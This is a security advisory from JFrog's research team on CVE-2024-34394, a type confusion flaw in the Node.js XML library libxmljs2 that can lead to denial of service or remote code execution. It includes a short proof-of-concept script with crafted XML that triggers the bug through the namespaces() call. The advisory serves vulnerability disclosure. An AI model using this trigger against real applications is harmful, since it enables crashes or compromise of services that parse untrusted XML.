JFrog Security Research
< Back

JFSA-2024-001034098 - libxmljs2 namespaces type confusion RCE

CVE-2024-34394 | CVSS 8.1

JFrog Severity:high

Discovered ByUriya Yavnieliof the JFrog Security Research Team

Published 2 May, 2024 | Last updated 2 May, 2024

libxmljs2 namespaces type confusion RCE

libxmljs2

(,)

libxmljs2 is vulnerable to a type confusion vulnerability when parsing a specially crafted XML while invoking the namespaces() function (which invokes XmlNode::get_local_namespaces()) on a grand-child of a node that refers to an entity. This vulnerability can lead to denial of service and remote code execution.

const libxmljs2 = require('libxmljs2');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer PUBLIC "` + "A".repeat(8) + "B".repeat(8) + "C".repeat(8) + "D".repeat(8) + "P".repeat(8) + `" "JFrog Security">
]>
<from>&writer;</from>
`;

t = libxmljs2.parseXml(d)
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0] //entity_decl
n = c2.namespaces(true) //onlyLocal = true

No mitigations are supplied for this issue

Original Advisory

< Back